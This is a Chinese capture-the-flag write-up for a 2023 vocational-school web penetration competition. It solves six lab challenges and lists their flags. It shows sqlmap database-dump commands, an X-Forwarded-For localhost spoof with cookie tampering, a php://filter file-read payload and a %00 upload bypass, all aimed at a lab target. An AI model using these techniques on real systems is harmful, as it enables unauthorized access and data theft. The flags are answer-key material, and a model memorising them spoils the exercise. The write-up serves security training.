2023年中职“网络安全“—Web 渗透测试②
2023年中职“网络安全“—Web 渗透测试②
- Web 渗透测试
- 任务环境说明:
- 1.访问http://靶机IP/web1/,获取flag值,Flag格式为flag{xxx};
- 2.访问http://靶机IP/web2/,获取flag值,Flag格式为flag{xxx};
- 3.访问http://靶机IP/web3/,获取flag值,Flag格式为flag{xxx};
- 4.访问http://靶机IP/web4/,获取flag值,Flag格式为flag{xxx};
- 5.访问http://靶机IP/web5/,获取flag值,Flag格式为flag{xxx};
- 6.访问http://靶机IP/web6/,获取flag值,Flag格式为flag{xxx};
Web 渗透测试
任务环境说明:
- 服务器场景:未知
- 服务器场景操作系统:未知(关闭连接)
1.访问http://靶机IP/web1/,获取flag值,Flag格式为flag{xxx};
访问页面,发现一张图片,没有其他有用的信息
我们利用御剑扫描工具,探测是否存在目录有用信息
发现一个index.php.bak,访问之后获得flag
flag{You_are_So_careful!}
2.访问http://靶机IP/web2/,获取flag值,Flag格式为flag{xxx};
访问web2,提示:你知道刚才发⽣了什么吗
我们利用burp抓包看一下
没有什么信息。
我们把index.html删除,只访问web2试试
获得flag
flag{It_Was_Redirected_Htmlfile}
3.访问http://靶机IP/web3/,获取flag值,Flag格式为flag{xxx};
访问页面如下:
提示我们只能本地访问,那我们就利用burp,添加一个本地访问的包
X-Forwarded-For:127.0.0.1
添加X-Forwarded-For后提示需要管理员才能登录,我们尝试把cookie的值改为1试试。
获得flag
flag{Congratulations_on_getting_another one}
4.访问http://靶机IP/web4/,获取flag值,Flag格式为flag{xxx};
访问页面如下:
提示输入数字查询,猜测考的应该是sql注入,我们用sqlmap跑一下
sqlmap -u "http://192.168.110.143/web4/query.php" --forms --batch --current-db
探测到当前数据库"sqlweb3"
接下来探测sqlweb3中的所有表名
sqlmap -u "http://192.168.110.143/web4/query.php" --forms --batch -D sqlweb3 --tables
发现只有一个表名blind,我们直接获取该表的数据
sqlmap -u "http://192.168.110.143/web4/query.php" --forms --batch -D sqlweb3 -T blind --columns
看到flag了,胜利近在咫尺!
爆破数据
sqlmap -u "http://192.168.110.143/web4/query.php" --forms --batch -D sqlweb3 -T blind -C flag --dump
获得flag
flag{blindtest}
5.访问http://靶机IP/web5/,获取flag值,Flag格式为flag{xxx};
访问界面如下
经过测试,最终使⽤伪协议
php://filter 读取当前⻚⾯,在当前⻚⾯内容发现flag值。
payload:php://filter/read=convert.base64-encode/resource=index.php
返回一串base64编码,解码获取flag
flag{Just_a_simple_file_include}
6.访问http://靶机IP/web6/,获取flag值,Flag格式为flag{xxx};
访问界面如下:
尝试上传一个图片试试
提示必须是php文件,而且上传之后自动将后缀改为php
我们先上传一张正常的图片,然后进行抓包修改数据
在uploads/的后面输入%00,然后进行url进行解码,解码成一个不可见的字符。在url当中%00就是表示不可见
解码后直接发包,即可获得flag
flag{upLoads_ls_SSO_easY!}